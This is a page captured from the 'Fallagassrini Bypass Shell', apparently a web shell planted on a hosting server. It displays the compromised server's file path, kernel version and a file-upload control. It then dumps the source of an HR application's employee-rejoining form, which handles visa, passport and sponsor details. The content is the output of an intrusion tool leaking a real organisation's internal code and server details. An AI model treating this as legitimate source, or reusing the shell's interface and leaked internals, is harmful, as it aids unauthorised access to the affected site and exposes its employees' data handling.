? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/hr/application/views/Onboarding/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/hr/application/views/Onboarding/add_employee_rejoining.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>



<link href="<?=base_url()?>assets/css/tablesortnew.css" rel="stylesheet" type="text/css">
<div class="select-bar">
    <label><img src="<?=base_url()?>assets/images/backbutton.png" title="Back" class="clickimage" onclick="viewdata('onboarding','viewinonboardingsearch','search_employee_rejoining','view_employee_rejoining','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="25" height="25"  />
    </label>
    <span class="heading">Employee Rejoining</span>
</div>

<fieldset>
    <?php
        $attributes=array('id'=>'validateform','class'=>'customForm');
        echo form_open_multipart('onboarding/addinonboarding/insert_employee_rejoining/view_employee_rejoining/1',$attributes);
        $trade_list=$this->mastermodel->getdatas('trade','trade_name');
        $visa_type=$this->mastermodel->getdatas('visa_type','visa_type_id');
        $sponsor_list=$this->mastermodel->getdatas('sponsor','sponsor_id');
        $agency_list=$this->mastermodel->getdatas('agency','agency_id');
        $nationality_list=$this->mastermodel->getdatas('nationality','nationality_name');
        $batch_list=$this->mastermodel->getdatas('batch','id');
        $visa_name=$this->mastermodel->getSingleFieldValue('visa_type','visa_type_name','visa_type_id',$viewinfo->emp_non_visa_type_id);
    ?>
    <ul>
       <li>
       
       <input type="hidden" name="emp_non_id" value="<?=$viewinfo->emp_non_id;?>"/>
       <label for="data">Date of Re Joining</label>
        <div id="multi">
             <?php
                  $data = array(
                  'name'        => 'emp_non_date_joining',
                  'id'          => 'emp_non_date_joining',
                  'class'       => 'required',
                  'value'       => date("d-m-Y")
                  );
                  echo form_input($data).form_error($data);
             ?>
            <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
        </div>
         </li>
        <li>
        <label for="data">Full name</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_full_name',
                  'id'          => 'emp_non_full_name',
                  'class'       => 'required',
                  'value'       => $viewinfo->emp_non_full_name
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>

         <li>
        <label for="data">Old Employee No</label>
             <?php
                  $data = array(
                  'name'        => 'emp_non_no_old',
                  'id'          => 'emp_non_no_old',
                  'value'       => $viewinfo->emp_non_no_old
                  );
                  echo form_input($data).form_error($data);
             ?>
        </li>
        
        <li>
        <label for="data">Employee No</label>
        <input type="text" readonly name="emp_non_no" value="<?=$viewinfo->emp_non_no;?>" id="emp_non_no" class="required"  onchange="checkexistence('employee_non_main','emp_non_no',this.value)" />
        </li>
         <li>
        <label for="data">Change Employee No?</label>
        <input type="checkbox" name="change_emp_no" />
        </li>
         <li>
            <label for="data">Batch</label>
            <select name="batch_id" id="batch_id" class="required">
            <option value="">Select</option>
                 <?php
                    foreach($batch_list as $batch)
                    {
                        echo "<option value='". $batch['id'] .  "'>" . $batch['batch_code'] . "</option>";
                    }
                 ?>
            </select>
         </li>
         <li>
            <label for="data">Nationality</label>
            <select name="emp_non_nationality_id" id="emp_non_nationality_id" class="required">
            <option value="">Select</option>
                 <?php
                    foreach($nationality_list as $nationality)
                    {
                        echo "<option value='". $nationality['nationality_id'] . "'";if($viewinfo->emp_non_nationality_id ==  $nationality['nationality_id'] ){echo "selected";} echo ">" . $nationality['nationality_name'] . "</option>";
                    }
                 ?>
            </select>
         </li>
        <li>
        <label for="data">Trade</label>
        <select name="emp_non_trade_id" id="emp_non_trade_id" class="required">
                 <option value="">Select</option>
                 <?php
                    foreach($trade_list as $trade)
                    {
                        echo "<option value='". $trade['trade_id'] .  "'";if($viewinfo->emp_non_trade_id ==  $trade['trade_id'] ){echo "selected";} echo ">" . $trade['trade_name'] . "</option>";
                    }
                 ?>
            </select>
        </li>
        
        <li>
        <label for="data">Sponsor</label>
        <select name="emp_non_sponsor_id" id="emp_non_sponsor_id" class="required">
                 <option value="">Select</option>
                 <?php
                    foreach($sponsor_list as $sponsor)
                    {
                        echo "<option value='". $sponsor['sponsor_id'] . "'";if($viewinfo->emp_non_sponsor_id ==  $sponsor['sponsor_id'] ){echo "selected";} echo ">" . $sponsor['sponsor_name'] . "</option>";
                    }
                 ?>
            </select>
        </li>
        <li>
        <label for="data">Recruitment Agency</label>
            <select name="emp_non_agency_id" id="emp_non_agency_id" class="required">
                 <option value="">Select</option>
                 <?php
                    foreach($agency_list as $agency)
                    {
                        echo "<option value='". $agency['agency_id'] .  "'";if($viewinfo->emp_non_agency_id ==  $agency['agency_id'] ){echo "selected";} echo ">" . $agency['agency_name'] . "</option>";
                    }
                 ?>
            </select>
        </li>
        <li>
            <table class="sort">
                 <tr>
                     <th align="center">Visa Type</th>
                     <th align="center" style="width:200px;">Issue Date</th>
                     <th align="center" style="width:200px;">Expiry Date</th>
                     <th align="center">Remind Before (in days)</th>
                     <th align="center">Visa No</th>
                 </tr>
                 <tr>
                     <td>
                             <?php
                                echo $visa_name;
                             ?>

                     </td>

                     <td>
                         <?=$this->mastermodel->convertdatenormalformat($viewinfo->emp_non_date_visa_issue);?>

                     </td>

                     <td>
                         <?=$this->mastermodel->convertdatenormalformat($viewinfo->emp_non_date_visa_expiry);?>

                     </td>

                     <td>
                         <?=$viewinfo->emp_non_visa_remind_before;?>
                     </td>

                     <td>
                         <?=$viewinfo->emp_non_visa_no;?>
                     </td>

                  </tr>
            </table>
        </li>
       <li>
            <label for="data">Issue New Visa?</label>
            <input type="checkbox" name="new_visa" onchange='if(this.checked==true){$("#visa_table").show(); $("#emp_non_visa_type_id").addClass("required"); $("#emp_non_date_visa_issue").addClass("required"); $("#emp_non_date_visa_expiry").addClass("required");}else{$("#visa_table").hide(); $("#emp_non_visa_type_id").removeClass("required"); $("#emp_non_date_visa_issue").removeClass("required"); $("#emp_non_date_visa_expiry").removeClass("required"); }'
       </li>
          <li>
              <table class="sort" id="visa_table" style="display:none">
                 <tr>
                     <th align="center">Visa Type</th>
                     <th align="center" style="width:200px;">Issue Date</th>
                     <th align="center" style="width:200px;">Expiry Date</th>
                     <th align="center">Remind Before (in days)</th>
                      <th align="center">Visa No</th>
                 </tr>
                 <tr>
                     <td>
                         <select name="emp_non_visa_type_id" id="emp_non_visa_type_id" >
                            <option value="">Select</option>
                             <?php
                                foreach($visa_type as $visa)
                                {
                                     echo "<option value='". $visa['visa_type_id'] ."'>" . $visa['visa_type_name'] . "</option>";
                                }
                             ?>
                        </select>
                     </td>

                     <td>
                         <div id="multi">
                            <input type="text" name="emp_non_date_visa_issue" id="emp_non_date_visa_issue" style="width:100px;"/>
                            <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                        </div>
                     </td>

                     <td>
                         <div id="multi">
                            <input type="text"  name="emp_non_date_visa_expiry" id="emp_non_date_visa_expiry" style="width:100px;"/>
                            <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                        </div>
                     </td>

                     <td>
                         <input type="text" name="emp_non_visa_remind_before"  class="number" id="emp_non_visa_remind_before" style="width:30px;"/>
                     </td>
                      <td>
                         <input type="text" name="emp_non_visa_no" class="" id="emp_non_visa_no" style="width:100px;"/>
                     </td>
                  </tr>
            </table>
        </li>
       
        <li>
            <table class="sort">
                 <tr>
                     <th align="center">Passport No</th>
                     <th align="center">Expiry Date</th>
                     <th align="center">Remind Before (in days)</th>
                 </tr>
                 <tr>
                     <td>
                         <?php
                              echo $viewinfo->emp_non_passport_no;
                         ?>
                     </td>
                     <td>
                         <?php
                             echo $this->mastermodel->convertdatenormalformat($viewinfo->emp_non_date_passport_expiry);
                         ?>

                     </td>
                     <td>
                         <?=$viewinfo->emp_non_passport_remind_before;?>
                     </td>

                  </tr>
            </table>
        </li>
         <li>
            <label for="data">Issue New Passport?</label>
            <input type="checkbox"  name="new_passport" onchange='if(this.checked==true){$("#passport_table").show(); $("#emp_non_passport_no").addClass("required"); $("#emp_non_date_passport_issue").addClass("required"); $("#emp_non_date_passport_expiry").addClass("required");}else{$("#passport_table").hide(); $("#emp_non_passport_no").removeClass("required"); $("#emp_non_date_passport_issue").removeClass("required"); $("#emp_non_date_passport_expiry").removeClass("required"); }'
       </li>
        <li>
            <table class="sort" id="passport_table" style="display:none;">
                 <tr>
                     <th align="center">Passport No</th>
                     <th align="center">Issue Date</th>
                     <th align="center">Expiry Date</th>
                     <th align="center">Remind Before (in days)</th>
                 </tr>
                 <tr>
                     <td>
                         <?php
                              $data = array(
                              'name'        => 'emp_non_passport_no',
                              'id'          => 'emp_non_passport_no'
                              );
                              echo form_input($data).form_error($data);

                         ?>
                     </td>
                      <td>
                         <div id="multi">
                            <input type="text" name="emp_non_date_passport_issue" id="emp_non_date_passport_issue" style="width:100px;"/>
                            <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                        </div>
                     </td>
                      <td>
                         <div id="multi">
                            <input type="text" name="emp_non_date_passport_expiry" id="emp_non_date_passport_expiry" value="" style="width:100px;"/>
                            <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                        </div>
                     </td>
                    
                     <td>
                         <input type="text" name="emp_non_passport_remind_before" value="" class="number" id="emp_non_passport_remind_before" style="width:30px;"/>
                     </td>

                  </tr>
            </table>
        </li>
        
        <li>
            <label for="data">Agreement (for business Visa)</label>
             <?php
                  $data = array(
                  'name'        => 'agreement_name',
                  'id'          => 'agreement_name',
                  'value'      => $viewinfo->agreement_name
                  );
                  $data1 = array(
                  'name'        => 'agreement_doc',
                  'id'          => 'agreement_doc'
                  );
                  echo form_input($data).form_error($data);
                  echo form_upload($data1).form_error($data1);
             ?>
            
            <?php
            if($viewinfo->agreement_doc != "")
            {
        ?>
            <a href="<?=base_url()?>assets/uploads/<?=$viewinfo->agreement_doc;?>">Download</a>
        <?php
            }
        ?>
        
        <li>
            <label for="data">Attestation (for RP along with No)</label>
             <?php
                  $data = array(
                  'name'        => 'attestment_name',
                  'id'          => 'attestment_name',
                  'value'      =>  $viewinfo->attestment_name
                  );
                  $data1 = array(
                  'name'        => 'attestment_doc',
                  'id'          => 'attestment_doc'
                  );
                  echo form_input($data).form_error($data);
                  echo form_upload($data1).form_error($data1);
             ?>
            <?php
            if($viewinfo->attestment_doc != "")
            {
        ?>
            <a href="<?=base_url()?>assets/uploads/<?=$viewinfo->attestment_doc;?>">Download</a>
                
        <?php
            }
        ?>
        </li>
       
        <li>
            <input type="hidden" name="attestment_doc_name" value="<?=$viewinfo->attestment_doc;?>"/>
            <input type="hidden" name="agreement_doc_name" value="<?=$viewinfo->agreement_doc;?>"/>
            <input type="hidden" name="tab_name" value="emp_non_main"/>
            <input type="hidden" name="resfunction" value="search_joining"/>
        </li>


        <li>
            <table class="sort">
                <caption>Send Alert for entering Personal Information to</caption>
                 <tr>
                     <th align="center">Select</th>
                     <th align="center">Username</th>
                     <th align="center">Designation</th>
                 </tr>
                 <?php
                    $i=1;
                    $user_list = $this->mastermodel->get_alert_users('1');
                    foreach ($user_list as $user)
                    {
                 ?>
                 <tr>

                     <td style="width:15px;" >
                         <input type="checkbox" name="select_user_<?=$i;?>" checked />
                     </td>

                     <td>
                         <input type="hidden" name="user_id_<?=$i;?>" value="<?=$user['id'];?>"/>
                         <?=$user['username'];?>
                     </td>

                     <td>
                        <?=$user['designation_name'];?>
                     </td>

                  </tr>
                  <?php
                  $i++;
                    }
                    ?>
            </table>
        </li>

        <li>
            <label for="submit">&nbsp;</label>
            <button type="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
        </li>
    </ul>
<?php echo form_close();?>
</fieldset>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net